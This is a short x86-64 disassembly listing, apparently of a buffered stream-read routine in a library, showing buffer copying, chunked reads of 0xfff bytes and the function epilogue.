dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x180095115
sub r14, rdi
jmp 0x18009525f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180095192
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180095194
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800951c6
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180136b40
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18009525c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180095201
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x18009523d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.180118d38
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18009525c
cmp rbp, rax
ja 0x180095210
test rbp, rbp
je 0x18009525c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.180118d38
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret